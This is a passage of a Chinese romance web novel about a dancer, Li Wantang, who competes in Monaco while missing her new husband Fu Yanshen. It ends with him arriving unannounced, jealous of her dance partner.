到家后,因为时间问题,黎晚棠今晚没泡脚,回房换了件衣服,就去浴室洗漱。 只是她前脚进去,傅砚深后脚就跟了进来。 黎晚棠狐疑地挤上牙膏,边刷牙,边从镜中打量他。 下一秒,男人也拿过他的牙刷,与她并排站着一起刷牙。 黎晚棠忙往嘴里灌了口水,吐出后,笑道:“你今晚干嘛要跟我一起刷牙。” 以往都是她洗漱完毕,他才进来。 “这样节省时间。” 话落,傅砚深特意往她旁边挪动,最后两人肩挨着肩,一高一矮,从镜中看极其般配。 黎晚棠弯唇轻笑,刷完牙就开始洗脸,抬手按下几泵洁面泡沫,眼珠子转了两圈,侧身就往身旁人脸上抹去。 她弯唇坏笑:“都没见你用过洗面奶,你来试试我这款产品效果好不好。” 也不管他愿不愿意,踮脚就在他脸上涂抹。 傅砚深见她踮脚费力,索性掐住她的腰,将人抱坐在洗手台上,双手抵在她腿边,低头靠近:“这样是不是方便点。” 黎晚棠用力憋着笑:“嗯,还是傅总考虑得周全。” 她顺着他鼻翼往脸颊两侧一点点涂抹,沿着他立体流畅的下颌角,轻轻打圈按摩:“傅砚深,你长得真好看。” “嗯,这点我知道。” 傅砚深闭着眼,因不好张口说话声音很轻,但不是在炫耀,而是陈述事实。 “还挺自信。”黎晚棠失笑,抽出洗脸巾浸湿帮他擦脸,弯唇故意说道:“身材也好。” 闻言,傅砚深睁眼看她:“只摸没看,这也清楚?” “……” 黎晚棠急忙用洗脸巾去挡他的眼,羞赧道:“傅砚深,你老实交代,你以前是不是装的,其实你本性就是这样。” 傅砚深任由她捂眼,只是撑在两旁的手改为掐住她的腰,而后将人圈在怀里,偏头用气音问:“那样?” 黎晚棠身子忽而往前倾,紧贴在他胸前,此时两人穿着轻薄,能彼此感觉到身上的体温。 而且耳边划过的热气痒痒的。 她抬起头,盯着眼前这张脸,突然在他唇上亲了口,低声笑了起来:“就……很闷骚。” 傅砚深眼皮跳了下,瞬间被气笑了,闭眼去寻她的唇,先触碰到她的鼻尖,亲了亲后往下移,准确无误吻上她的唇:“放心,我只对你这样。” 这个吻没持续多久,黎晚棠趁他不注意,弯腰从他臂弯下钻了出去,快步跑出浴室。 之后两人前后洗完澡,关灯躺在床上。 只是她刚躺好,傅砚深就侧身靠了过来,将她捞进怀里。 黎晚棠闭上眼睛,懒洋洋靠在他身上:“还有几天就要出国比赛了,我想念你的怀抱怎么办。” 傅砚深也知道两人即将分别,扣住她腰间的手不自觉收紧:“没事,我有空就飞过去看你。” “摩纳哥离这里好远的,你飞来飞去会很累。”她希望他来,又舍不得他太累。 黎晚棠忽然想到什么,扭头去看他:“对了,望舒也在摩纳哥呢,今天她还联系我了,说到了那边就去找她。” 傅砚深对于这个妹妹也不太了解,那丫头太疯了,平时一般很难联系到人,只有找他要钱的时候才会出现。 “嗯,我明天给她打个电话说一下,你过去要她多照顾你一点。” “我比望舒大,怎么也是我照顾她。” 黎晚棠觉得好笑,他总把她当小孩,生活不能自理:“而且我们领证的事还没告诉她呢,你别说漏了。” 傅砚深皱眉:“你怕她不高兴?” “有点,毕竟我们当年私下吐槽过你,若她知道我跟你结婚了,还成了她嫂子,我怕她接受不了。”黎晚棠没多想,心里怎么想就怎么说了。 傅砚深拧眉沉默了会儿,忽而把人转了过来:“你们当年都吐槽我什么?” 黎晚棠忙抬手捂嘴,怎么不小心把实话说出来了,她忙摇头:“没说什么,很晚了快睡吧。” 说着,她就要转身,腰肢却被男人紧紧抓住:“没事,你说我也不生气。” 黎晚棠抬头:“真不生气?” 傅砚深:“我没那么幼稚。” 他都这么说了,黎晚棠也没什么好顾忌的,一口气,把当年吐槽过他的那些话全说了出来,完全没察觉男人越发紧绷的脸色。 加上没开灯,她也确实没发现。 见她还要往下说,傅砚深实在听不下去,忽地用手堵住她的唇:“行了,连我性取向都怀疑,可见你们吐槽的这些有多不靠谱。” 黎晚棠没忍住笑了起来,嘴被堵住,发出的声音有点闷:“别怪我们会这么想,主要是你那个时候性格真的很那啥,哎,反正就挺像的。” 掌心湿热的温度传来,泛着丝丝麻麻的痒,见女孩还在笑,他松开手,低头直接堵上她的嘴:“黎晚棠,我生气了,你哄我吧。” 黎晚棠眨眼:“……” 说好的不生气呢? 幼稚! 可男人根本没给她说话的机会,抵开她齿贝,强势闯入。 无穷无尽夺取她的香甜- 出发摩纳哥的前一天,黎晚棠得知傅砚深出差的消息,当时感觉天都要塌了。 之前说好他会送她去机场的,现在他要提前离开,心情瞬间跌入谷底。 或许刚谈恋爱的情侣都这样,恨不得一天到晚都黏在一起,时时刻刻能看到他人。 他们领证已经好几个月了,可真正互通心意也就这几天,热恋期才刚开始,现在就面临着分别。 而且还是他先走。 黎晚棠哼哼唧唧不高兴,就算是十一点的飞机,也要坚持送他去机场。 后座上,傅砚深将人搂在怀里,下巴抵在她发顶,彼此珍惜这点相处时光。 这样的画面萧仲不敢看,早早就把隔板升起。 黎晚棠情绪依旧低落,抱住傅砚深的腰不肯松:“你每天都要给我打电话,有空就要视频,吃饭一定要按时,不能持续加班,出门身上准备一些糖果,以备不时之需。” “北平那边温度低,你出门要多穿点,不能光顾着好看,保暖才更重要。” 女孩絮絮叨叨的叮嘱还在继续,傅砚深直接把人抱坐在腿上,更加用力地圈住她,以前这些话是他嘱咐她的,现在反过来了。 但这样的感受,却是那么温暖而暖心。 他嘴角一直噙着浅笑,她说什么,他都点头说好。 “还有一件事非常重要。”黎晚棠从他怀里抬头,表情严肃:“每天要记得想我。” 这句话直接戳进他心坎,那种不舍变得越发强烈,傅砚深盯着她,直接低头吻上她的唇,把即将分别的思念全化作这个吻,灼热而又热烈将人摁在怀里亲。 黎晚棠愣了半秒,接着抬手环住他脖子,闭眼回吻。 滚烫的气息在逼仄的空间弥漫,温度逐渐升高。 两人鼻尖的气息也因这个吻变得越来越浓烈。 不知过了多久,傅砚深才念念不舍与她的唇瓣分开。 他低头看向怀里气喘吁吁的人,哑声道:“我会想你,每时每刻。” 当他们站在人来人往的机场大厅,黎晚棠牵着他的手,始终不愿意分开。 傅砚深垂眸望着她,亦是如此。 只有站在一旁等候的萧仲急得像热锅上的蚂蚁,不停地低头去看腕表,马上登机了,就怕傅总临时后悔,转头跟太太走了。 其实在得知黎晚棠就是傅太太那天,他一点也不惊讶,毕竟在苏州那晚他就发现端倪。 而且傅总对她的态度也不一样。 加上傅总偷偷摸摸去看太太的表演,还不让她知道,这就是妥妥的暗恋。 高中时期,他也苦苦暗恋过一个女孩,特别懂那种暗恋的酸涩。 那种感觉是想让她知道,又害怕让她知道。 好在,傅总的理智占了上风,抱着怀里的人亲了一口,转身朝他走了过来。 “走吧,你再看下去要误机了。” 萧仲:“……” 是因为他看的原因吗? 算了,傅总心情不好,他还是忍着点。 黎晚棠看着傅砚深的背影一点点消失不见,那颗心彻底平静。 尽管很不舍,生活还是要继续。 就在傅砚深离开的第二天,她和舞蹈团的同事飞往摩纳哥。 十四个小时的行程,他们晚上八点抵达拉萨布兰卡,而后转车前往摩纳哥预定的酒店。 去了路上,黎晚棠就收到傅砚深发来的信息:【下飞机了。】 黎晚棠弯唇笑,看来他是算准了她下飞机的时间,信息如此及时:【嗯,已经坐上转往酒店的车了。】 摩纳哥与国内相差八个小时,那边现在是凌晨四点。 得知时间点,黎晚棠忙打字:【你是不是一直等我这边下飞机,所以熬到现在?】 傅砚深:【嗯,我等你安全到达酒店。】 黎晚棠:【不行,现在,立马就去睡觉!】 怕他不听话,黎晚棠又严肃补了句:【傅砚深,男人不能熬夜,何况你年纪大了会肾虚的。】 发送成功,黎晚棠盯着看了一会儿,才觉得这话好像不对劲,歧视感也比较强,刚要撤回,傅砚深的信息先弹了出来。 傅砚深:【黎晚棠,你认为我不行?】 “……” 黎晚棠还来不及解释,屏幕很快又弹出一条信息。 傅砚深:【等着,我会证明给你看。】 第40章 黎晚棠盯着这条信息,从错愕到忽然想笑。 最后也确实没忍住笑了起来。 林薇就坐她旁边,听到笑声偏头,也被她的笑容所感染:“看什么呢,笑得那么开心?” 黎晚棠对上林薇看过来的视线,忙按灭手机屏幕,嘴角尴尬地扯了扯唇:“没什么,就朋友发来的一段搞笑视频,觉得里面人物挺搞笑的。” 怕林薇感兴趣要给她看看,她忙转移话题:“我飞机餐吃不惯,这边应该有国内的餐厅,现在好饿。” 饿了这话不假,飞机上她就没怎么吃。 林薇也吃不惯,点头道:“有,就是不知道离我们住的酒店近不近,我之前查过,摩纳哥这边国内的餐厅还不少。” 话题被成功转移,黎晚棠暗暗松了口气,偏头有一搭没一搭跟林薇闲聊着。 只是眼睛不时去看一眼手机屏幕,傅砚深那句话她肯定不会回,而且在车上也不好跟他解释。 现在只是在想,他有没有乖乖去睡觉。 抵达酒店已经是一个小时后,长途跋涉,就是很饿也不想走远,只能吃酒店安排的晚餐。 法餐刚吃味道还能接受,平时在国内吃的也不少,若要经常吃,胃肯定接受不了。 黎晚棠低头吃着饭,指尖还在滑动屏幕,傅砚深没回信息,她也不好去打扰他。 这会儿应该睡熟了。 吃完饭回房洗澡,躺在床上空落落的很不习惯,但由于这趟路程太累了,闭眼没多久,便沉沉地睡了过去。 只是迷迷瞪瞪间,感觉有微信提醒的声音。 她这一觉睡到生物钟,拿过手机看了眼,正好五点半。 现在连倒时差都不用,长年累积的生物钟已经刻进了骨子里。 刚准备放回去,余光瞥见屏幕显示的几条未读短信,她蓦地从床上坐了起来。 点开查看,全部是傅砚深大半夜发来的信息:“到酒店了吧,有听你的话乖乖睡。” “可没睡多久就惊醒了,实在没忍住,想发信息问问。” “这么久没回消息,是已经睡着了?” “好吧,你好好休息。” 界面上显示隔了几分钟,傅砚深又发过来一条语音:“棠宝,好想你。” 低沉缱绻的声音在耳畔响起,黎晚棠那颗心跟着颤了颤,骤然升起的思念泛滥成河。 她指尖再次点开那条语音,只觉得他喊的那声“棠宝”,心头像被什么东西撞击了下,软得不行。 傅砚深嗓音本来就低沉,加上夜间那种沙沙哑哑的声线,性感得要命。 好像表明心意后,他连说话的方式都变了,不再是硬邦邦的毫无温度。 黎晚棠忙把手机从耳边拿开,嘴角扬起的同时,那颗心扑通扑通跳个不停。 这会儿想念他的心在这异地他乡里,格外强烈。 算了下国内的时间,正好是午休时间。 黎晚棠迫不及待拨通傅砚深的电话,她起身靠在床头,低头静静等待着。 本以为要等一会儿,可刚响两声对面就接通了:“刚睡醒。” “你怎么什么都知道,是在我身上安装监控器了吗。”黎晚棠嘴角弯,低声说道。 “我倒是想,这样就能时时看见你。” 傅砚深说完,忙问:“现在方便吗,我想看你。” 黎晚棠低头看了眼身上的睡衣,迟疑了会儿,轻嗯了声:“方便。” 电话挂断,微信视频很快就响了起来。 黎晚棠惊讶于他的速度,本想换身衣服的,这样一来根本没时间,不过两人很亲密的事都做过,她也没什么需要遮掩的。 视频接通,傅砚深那张俊脸闪现在眼前,那边阳光明媚,透过窗外还能看到蔚蓝的天空,而他依旧是一身黑色西服,后面背景是一间奢华大气的办公室。 黎晚棠忽而低头,凑近屏幕:“你靠近点我看看。” 傅砚深不知道她要看什么,乖乖拿起手机往前倾,只是在低头的这一瞬间,他清楚看到女孩此时的穿着。 两根黑色吊带松松垮垮搭在锁骨边缘,低头时,胸前的春光一览无余,右边的肩带已经滑落到肩头,要掉不掉,显得她皮肤白得晃眼。 或许是他的严格规定,她在家从来不这样穿,现在出门在外,穿得倒是清凉。 傅砚深眸色暗了暗,喉咙无意识滚动:“黎晚棠,你是想故意让我难受。” 黎晚棠正盯着他眼睑下的乌青看,冷不丁听到这几句,茫然问:“怎么让你难受了?” 只是这话刚说完,她就察觉到他直勾勾的目光,她怔愣了片刻,顺势低头。 这才发现自己全走光了! 黎晚棠急忙坐起身,只是对上男人那双毫无掩饰的黑眸,忽而弯唇轻笑道:“我又不是故意的。” 傅砚深紧盯着她:“那你在家怎么不穿?” “不是你不让嘛,非说这样容易受寒。” 黎晚棠噘嘴吐槽:“所以你在家,我都不敢这么穿。” 在家里穿不上的睡裙,她这次出国拿过来一部分。 傅砚深咽了咽喉,低声道:“在家偶尔可以这么穿,但在外面还是穿长袖长裤的好。” “这边天气,我晚上这样穿刚刚好。” 黎晚棠睡觉不喜欢穿太多束缚自己,之前跟他住一起是没办法,后来也算是习惯了。 不过都是他在的情况下,不在她穿得还是很清凉。 “听话,你一个人住酒店,这样穿不安全。” 傅砚深轻声哄道:“回家我允许你这么穿行不行?” 黎晚棠挑眉:“真的,你不许哄骗我。” 傅砚深反问:“我说话什么时候不算数?” 黎晚棠满意了,乖乖点头:“你吃饭了吗?” “嗯,原本是想等两个小时再给你打电话,你先打过来了。” 傅砚深说着,目光就这般静静地看着她。 黎晚棠突然也不说话了,拉过被子将自己盖住,而后下巴抵在膝盖上,眼睛也直勾勾地望着他。 半晌,她低声念道:“傅砚深,我也好想你。” 这话是回复他凌晨发的那条短信。 傅砚深喉结滚了一圈:“等我忙完手上这个项目,就过去找你。” 眼看晨练的时间要到了,黎晚棠依依不舍跟他拜拜:“嗯,你也要照顾好自己,要按时吃饭睡觉,不许再熬夜了。” 提到熬夜,傅砚深挑眉问:“真怕我不行。” 黎晚棠脸颊登时就红了,连耳朵尖都逐渐在发热:“行不行,试了才知道。” 说完这句,她立马关掉视线,握紧手机深吸一口气,随后抬手摸了摸脸颊,确实烫得不行。 刚才算是在挑衅他吗? 半晌,黎晚棠忽而笑了。 两人隔着十万八千里,就算是挑衅,他拿她也没辙- 晨练过后,黎晚棠出门跟团里同事吃完早餐,就一同前往比赛的场馆报到。 车上,负责接待他们的工作人员介绍,今年的舞者全部是特邀过来的实力选手,全部是通过作品邀约参加。 也就是说,这场比赛不再存在预选赛,直接进入比赛模式。 属于是一场,强者与强者之间的较量。 主办方之前给他们发放的舞蹈主题,就是明天正式比赛的内容。 而且这次比赛的规模很庞大,场馆选的是摩纳哥著名的皇家音乐馆,只有一线明星和国家领导人物,才能使用的地方。 所以关注度也格外高。 黎晚棠边听工作人员介绍,边偏头打量场馆的环境,单是装修风格就挺让人震撼的。 前往参赛的舞者需要先去报到,而后抽取出场顺序。 黎晚棠刚走进内厅就看到来自不同国家的舞者,黑皮白皮黄皮都有,放眼望去,好像就只有她一个是国人。 好在这里说法语的人不多,多数都是用英语沟通。 报道签好字,她抽取的出场号很排前,数字八。 黎晚棠看到这个数字,哭笑不得,比赛是靠前了点,好在数字吉利。 熟悉场地时,她也认识了一些其他舞者。 可能都是跳舞的,有着共同话题,一下子就能聊到一起。 等所有事情搞定,黎晚棠与其他舞者挥手告别,明天就正式比赛了,都需要回去做准备。 而黎晚棠的比赛时间安排在上午,趁还有点时间,她主动约傅望舒见面。 傅望舒得知高兴坏了,直接报了一家国内的餐厅地址,两人在那里碰面。 黎晚棠跟刘指导他们说明情况,打车独自前往。 上车后,她便偏头盯着窗外街景看,似乎特别喜欢这边的建筑设计。 抵达目的地,看着熟悉的文字,亲切感扑面而来。 坐下没多久,傅望舒就笑吟吟地走了进来,看到窗边的黎晚棠,大老远就开口喊:“晚棠姐!” 黎晚棠笑着起身,两人来了个久别重逢的拥抱:“半年没见,又漂亮了。” 傅望舒挑眉笑:“确定不是晒黑了?” “不黑,是越来越漂亮了。” 这并不是恭维的话,傅家的基因就没有长得不好看的,傅望舒跟傅砚深长得虽然不像,但她随了宋徽音,五官很精致。 两人松开,分别落坐在沙发。 “不过晚棠姐还是那么漂亮,一点也没变,依旧是我心目中的女神。” 傅望舒一脸花痴地打量她:“不过这次见面,感觉你越来越有女人味了。” “……” 黎晚棠笑意微敛,一时间不好怎么接她这话。 都结婚了,自然会有些变化。 “你吃什么,我看这家的京北菜蛮多的,你平时没少来吧。”黎晚棠把菜单都给她。 “嗯嗯,我经常跟同学过来。” 傅望舒接过菜单,笑着给她推荐:“我知道他家那几道菜好吃,晚棠姐你等会儿尝尝正不正宗。” “好呀。”黎晚棠端起茶杯,若有所思喝着,在想待会怎么开口说跟她哥领证的事。 傅望舒点完菜,就开始聊她这次荒岛求生的趣事,看得出来她很喜欢惊险刺激的挑战,性格比之前更活泼了。 黎晚棠耐心听着,时不时问一些新奇的事。 最后聊着聊着,傅望舒突然提到傅砚深:“我哥前两天给我打电话了,他莫名其妙给我转了一笔钱,当时我还以为是他疯了。” 黎晚棠听到这话,低头轻咳了几声。 这么多年,傅望舒提到傅砚深的语气依旧没变。 私底下聊天完全没把他当哥。 “后面我才明白,原来是因为你要过来比赛,她让我好好照顾你,特意给我转的钱。” 傅望舒说着,轻嗤道:“真是的,就算他不给我转钱,晚棠姐你过来,我肯定也会照顾你的呀。” “不过嘛,多一笔收入也不错。” 她平时跟她哥要钱需要找理由,这次倒省事了,而且比平时转得还要多。 黎晚棠轻眨着眼睫,心想就这时候告诉她真相吧,也不会显得那么突兀:“望舒,你知道你哥,为什么要你特意照顾我吗?” “为什么?” 傅望舒其实也觉得奇怪,平时她哥和晚棠姐根本没有什么交集,这次她过来比赛怎么会是她哥亲自联系自己。 按理说也得是她老妈才对,毕竟她从小就喜欢晚棠姐。 黎晚棠放下筷子,舔了舔唇:“望舒,其实……我和你哥领证了。” “哦,你跟我哥领——” 傅望舒意识到这句话的含义,筷子啪啦一声,掉在了桌面上,她极其震惊地看着黎晚棠:“晚棠姐,是不是我哥威胁你了!” 黎晚棠嘴角微抽,没想到她会这么说:“不是,我是自愿的。” “你,自愿?” 傅望舒怔怔地望着她,好半晌,才心平气和地问:“晚棠姐,你就实话跟我说吧,你到底是有什么难言之隐,我看能不能帮你逃离苦海。” 黎晚棠:“……” 也不怪傅望舒会是这种反应,毕竟她们当年私下吐槽过傅砚深太多次,而她得知有娃娃亲这事的时候,也一度接受不了。 所以,她特能理解傅望舒这一刻的心情。 黎晚棠认真道:“都不是,我真是自愿的。” 没办法,怕傅望舒不信,她只能耐着性子,把她从最开始对傅砚深的感受,以及到现在的喜欢,毫无隐瞒地全部告知。 就是想让傅望舒明白,她真是自愿的,而且现在非常非常喜欢傅砚深。 然而当傅望舒听到她说“喜欢”这两字时,表情沉重地捧着脸颊,眉头紧蹙。 她特别不能理解,晚棠姐为什么会喜欢上她哥。 就她哥那样的性格,在他身边多待一秒都会窒息,她是靠什么存活下来,还喜欢上他的。 傅望舒深吸一口气,问:“晚棠姐,你是被我哥的颜值蛊惑了吗?” 除了这个,她想不到她哥还有什么优点。 闻言,黎晚棠噗嗤笑了起来:“颜值肯定也是占了一部分,但更多的是他这个人。” 她收敛笑容,语气格外郑重:“望舒,我想如果错过你哥,可能在这个世界上,再也找不到像他对我这么好的男人。” 傅砚深就像一瓶醇年老酒,越喝越让人上瘾。 直到后面彻底离不开- 她跟傅望舒分开,已经是两小时后的事。 或许是很久没见,又或许是聊到共同的人,她们有着聊不完的话题。 还好傅望舒没有生气他们领证没告诉她的事,临走时还破天荒说了一句。 “晚棠姐,虽然我哥身上没什么优点,但我可以跟你保证,我哥这一辈子绝对不会辜负你。” 黎晚棠弯唇笑了,这点,她也相信。 回到酒店,她就去隔壁房间找林薇,两人又把明天参赛的舞蹈练习了几遍。 最后林薇拍手笑道:“今天就先这样吧,保持体力,用最好的状态迎接明天的比赛。” 黎晚棠抬手擦了擦额头汗水,笑着说:“林编导,排练到这么晚,辛苦你了。” “这是我的工作,也是我们共同努力的目标,不说辛苦。” 林薇叮嘱她早点休息,笑着挥手离开。 房间只剩下自己,黎晚棠不顾形象躺在地板上,气喘吁吁望着天花板,对于明天的比赛,心态反倒很平和。 只是突然安静下来,她就会控制不住地去想傅砚深。 很想,特别想,仿佛思念入骨。 偏头看了眼时间,这个点是京北的深夜,她最后实在没忍住,拿过手机给他发了一条语音:“傅砚深,我好想你啊。” 特意等了一会儿,没等到他的回复,最后死心的从地上爬起来,转身进入洗手间洗澡。 对着镜子给自己打气,只有保持好的精神状态,才能迎接明天的比赛。 她需要全力以赴。 次日,黎晚棠很早就醒了,等彻底清醒后,第一时间拿过手机,看有没有傅砚深的短信。 好在,没让她失望。 她忙不迭点开,是他发来的一条语音:“在你想我的基础上,翻一倍。” 黎晚棠连续听了好几遍,低声弯唇轻笑,立马回复:“吃饭了吗?” 很快,他那边就回复过来,像是特意在等待。 傅砚深:“吃了,我在等你睡醒。” 黎晚棠嘴角笑意更浓,按住绿色按钮说话:“真好,醒来的第一时间就能听到你的声音,不过我今早有比赛,不能跟你多聊。” “没关系,等你比完赛再联系我。”傅砚深磁哑的声音,像是刻意压低:“棠宝,祝你一切顺利。” 因为傅砚深的这句话,黎晚棠起床后的心情特别好。 见到熟悉的参赛舞者,都笑着主动打招呼。 比赛前期需要准备的事情比较多,黎晚棠不能带手机进场,换上舞蹈服就去化妆,时间比在国内上台表演还匆忙。 傅望舒知道黎晚棠是上午的比赛,特意请假,跑过来看她的表演。 昨天她没跟黎晚棠生气,但回去就给她爸妈打去电话,怒斥自己内心的不满,这么大的事他们竟然没通知她,完全把她排除在外,忘了他们还有一个小女儿。 最后母亲好一番解释,父亲又偷偷给她转了一笔钱,才得以安抚。 傅望舒高兴了,所以今天来看现场比赛,不停地往群里拍照:【很快就到我嫂子了,等我给你们发视频哈。】 宋徽音:【记得多拍点照片,不然我发朋友圈没素材。】 傅砚深:【你嫂子比赛结束,你带她去当地的理疗中心,给她膝盖做按摩护理。】 傅望舒看到他哥这条信息,嘟嘴打字:【哥,你那天给我打电话的时候没说晚棠姐是嫂子,现在是不打算继续瞒着我了?】 傅砚深:【是你嫂子说要亲口告诉你。】 傅望舒盯着“嫂子”两字,无语地撇了撇嘴,看在晚棠姐的份上不跟他一般见识。 接着又把目光放在舞台上。 很快,就轮到黎晚棠上场,这时周边忽然传来几道欢呼声。 傅望舒扭头四处看了眼,嘴角微扬,忙低头在群里打字:【哇,我嫂子真火,现场还来了她的男粉丝。】 傅砚深坐在办公室里,看到这条信息,眉头蹙了起来。 千里迢迢跑出国看比赛,是有多喜欢。 还是男粉丝。 很快,群里出现黎晚棠上台比赛的图片。 傅砚深点开,目不转睛盯着。 女孩身穿一条水蓝色长裙,水袖从腕间垂落,裙摆层叠如绽开的莲花,纤细的腰肢被束缚裹得很紧,舞台上的她依旧耀眼迷人。 接着是她的舞蹈表演的视频,傅砚深看过她无数次跳舞,每次的感受都很震撼。 黎晚棠天生就是为舞而生- 黎晚棠本以为上午的比赛结束就可以回酒店休息,可午休过后,他们这些舞者,依旧需要待在现场。 比赛结果,评审会在今天公布,进行下一场组合赛的名单。 其中有淘汰也有晋级,黎晚棠成功拿到四个直通卡,顺利进入组合赛。 跟她组队的是一位韩国选手,名叫允道,一米八几的阳光大男孩,两人合照过后下场,就彼此交换了联系方式。 摩纳哥的舞蹈比赛不是实时直播,完整视频第二天才出现在各大网站上。 黎晚棠之前在国内就有一些热度,而且RD在国际上的名声浩大,不少博主和娱乐记者都在抢这波流量。 所以第一时间,各大网站全是这次国际舞蹈比赛的内容。 黎晚棠作为国人出战,关注度瞬间爆增,成功登上热门话题。 一下子,关注这场比赛的网友越来越多。 她当天比赛的那支舞蹈视频,再次被送上热搜。 粉丝也在一夜之间涨到一百多万,他们东方舞蹈团见状,立马转发黎晚棠的比赛视频,并@了她。 或许是获得四个评审的直通卡,黎晚棠的热度还在持续上升。 就连傅砚深在应酬上,都能听到有人谈及黎晚棠,当时他还微惊了下,似乎没想到她这次比赛能如此火爆。 中途,他出门接电话时,没忍住上网去搜关系黎晚棠的新闻。 跳出来的内容全是她在台上的各种动态视频和高清照片。 一条帖子下,评论都能达到十万以上。 傅砚深深吸一口气,点开评论。 网友不是夸黎晚棠长得好看的,就是说她是跳舞奇才。 不过多数都是支持她的粉丝,翻到后面还有说般配的。 傅砚深眉心微皱,他没看完全程的比赛,不知道网友说的般配指的是什么。 直到他点进另外一位网友的帖子,看到黎晚棠跟一位陌生男人的合照,眉头蹙的更深了。 从帖子里得知,他们是组合赛成员,需要共创一段舞蹈,进行下一场比赛。 从照片上看,两人都是东方面孔,男生长相清秀,身材比例也好,从外形来看,确实很搭。 而且嗑他们俩的网友还不少。 傅砚深连续翻看好几张照片,脸上表情越来越沉冷,他直接退出网站,转手拨通萧仲的电话。 “立刻给我订一张飞往摩纳哥的机票。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-48 第41章 萧仲接到这个电话时,还有点没反应过来,傅总这边的应酬还没结束,突然就要定机票。 他知道太太正在摩纳哥参加比赛,这么着急,难道是太太出什么事了? 傅总的事不敢乱猜,他忙拿出手机点开微信,开始去选最近的航班。 可指尖一滑到底,飞往摩纳哥没有直飞的航班,中途不仅需要中转,还没有多余的选择。 仅有的机票还是十一点二分的。 可现在都快十点了,萧仲拿不定主意,又给傅砚深打去电话,最后那头平静道:“好,就订这趟航班。” “……” 萧仲心里咯噔一声,看到是真出事了。 不敢犹豫,挂断电话,立马订票。 这边,傅砚深返回包厢,众人还没开口,他先出声:“不好意思各位,我有点急事需要去处理,之后各位还有别的问题,可以直接去公司找我详谈。” 众人看他确实挺急的,都客套着说好。 出了包厢,傅砚深直接往家里赶,简单收拾几套换洗衣服,就直奔国际机场。 从商务舱往外看,窗外像深邃无边的绒布,傅砚深垂眸沉思,如果黎晚棠看到他突然出现,会是什么反应。 摩纳哥清晨。 黎晚棠起床时还在想,傅砚深这个点会干些什么,有没有像她一样在想他。 察觉自己有点恋爱脑,她低头笑了笑,没想到以前吐槽叶知薇的话,现在会发生在自己身上。 组队后,她这边也很忙,而且只有两天的编舞时间,所以每天都在争分夺秒地排练。 场馆有独立的排练厅,黎晚棠吃过早餐就要去跟允道他们汇合。 两人之前并不熟悉,所以在舞步和默契上需要不断地去磨合,而且允道跳的是现代舞,她跳古典舞,这支全新的舞蹈,两人都需要付出更多的努力,才能驾驭。 林薇一整天都陪着他们泡在排练厅,主办方这边也安排了一个编导老师,加上双方带过来的工作人员,一个排练厅站着不少人。 午饭大家是坐在一起吃的,两拨人在闲聊中很快就熟悉起来。 吃饭的空隙,允道开玩笑地问:“晚棠,大家说你已经结婚了。” 允道的英语口音家乡味很重,很多时候黎晚棠都要竖着耳朵听,但这一句,就算她不用心,也听懂了。 比赛需求,她这次出国并未戴戒指,所以不熟的人不知道她结婚了。 黎晚棠抽出纸巾擦了下嘴角,笑着点头:“是的,我已经结婚了。” 允道诧异地睁大眼眸:“ohmygod,还以为他们是在跟我开玩笑,毕竟你的舞蹈事业才刚刚开始,现在就选择结婚,难道不会对你未来的事业有影响吗?” 在他们舞蹈行业里,晚婚晚育都是常态,甚至有些舞者为了艺术不结婚的也有,像黎晚棠这么早结婚的,确实少见。 何况现在还是她事业的上升期。 黎晚棠笑着摇头:“不会啊,事业是事业,爱情是爱情,就算两者同时进行,对我也没有任何影响。” 说着,她低头轻笑:“反而有爱的人支持,我会更有动力。” 允道微微挑眉,虽然不理解,但他从黎晚棠脸上看到了幸福,嘴角也不自觉上扬:“我猜你跟你先生一定很相爱。” 黎晚棠愣了下,点头:“是的,我很爱他。” 不是喜欢,而是爱。 本以为黎晚棠会含蓄地低下头,或是不好意思回答,没想到她却大大方方地表达爱意。 允道笑了笑,又认真问:“我们这支舞蹈会有很多亲密动作,你先生看了会不会生气?” 黎晚棠笑意微敛,抿唇试图想了想那个画面,眉头皱了起来,最后她低下头,有些哭笑不得地回答:“嗯,他恐怕会。” 傅砚深是个醋精,从他对他兄弟的态度就能看出,况且他们这次的双人舞,亲密动作是挺多的。 不过他们作为舞者并不觉得,但外行人看了会认为很暧昧。 黎晚棠深吸一口气,默默祈祷傅砚深千万别上网,别看到这段舞蹈。 饭后,双方休息了一会儿,又开始进入排练厅。 两天时间需要创排一支全新的舞蹈,不仅要熟悉编曲,两人的配合度也得十分默契。 他们一直排练到晚上九点,才各种返回酒店。 上车后,黎晚棠就懒洋洋地靠着椅背,累到连话都不想说。 这种高强度的比赛,无疑是最累人的。 经过一家药房时,黎晚棠忙叫司机停车。 林薇偏头问她:“怎么了?” 黎晚棠拿着背包起身:“我这两天膝盖有点不舒服,我想去药房买点药。” 她膝盖有旧伤的情况,林薇之前听团长说过,现在听到黎晚棠这么说,也担忧地站起身:“那我陪你一起去吧。” 黎晚棠没拒绝,身体真要不舒服,身旁的人必须要知道,因为他们现在是一个团体。 两人进入药房,黎晚棠找了些平时外涂的药膏,转身时,顺便拿了一瓶止痛药。 林薇看到后,错愕睁眼:“你吃这个对身体会有副作用的。” 黎晚棠笑着摇头:“没事,先拿着吧,以防万一。” 这几天排练强度太大,膝盖时不时发出疼痛的信号,她不想关键时刻上不了台。 林薇欲言又止,最后只说了句:“不到万不得已,你千万别乱吃。” 黎晚棠笑着点头:“嗯嗯,我知道。” 回到酒店,黎晚棠找酒店人员要来了泡脚桶,又开始老老实实地泡脚。 拿过手机看了眼,除了沈女士和傅望舒的信息,傅砚深一个短信问候都没有。 一整天了,两人还没说过一句话。 这个点也不好去打扰他,她只能点开之前发的语音,一遍遍放在耳边听着,似乎只有这样,才能感受到他一直都在。 泡好脚又擦完药,黎晚棠洗漱后就躺回床上,没多久就睡了过去。 这一天太累了,身体的疲惫让她瞬间入睡- 第二天,黎晚棠起床的第一时间去看手机,依旧没有傅砚深的微信和电话。 盯着空荡荡的屏幕,内心的失落少不了。 想着还要排练,她吃完早餐,又跟着大家去了场馆的排练厅。 经过一天的磨合,她现在跟允道的配合越来越默契,卡点动作流畅自如,两人都开始渐入佳境。 只是结束上午的排练,黎晚棠就隐隐察觉膝盖的疼痛感加强,就算贴上药膏,也没有什么好转。 明晚就要比赛了,这个时候肯定不能拖允道后腿。 趁着午休息时间,黎晚棠从包里翻出止痛药,怕没效果,打算一次性吃了两粒。 她起身正要去倒水,这时门房突然被人从外打开。 刘指导笑盈盈地开口:“晚棠,你看是谁来了?” 在他侧身的那一刻,黎晚棠冷不丁与他身后的傅砚深对视上,她眼眸忽睁,顿时僵在原地。 千里之外的人,此刻活生生站在她面前,一度以为是她的幻觉,因为这两天太想他的缘故。 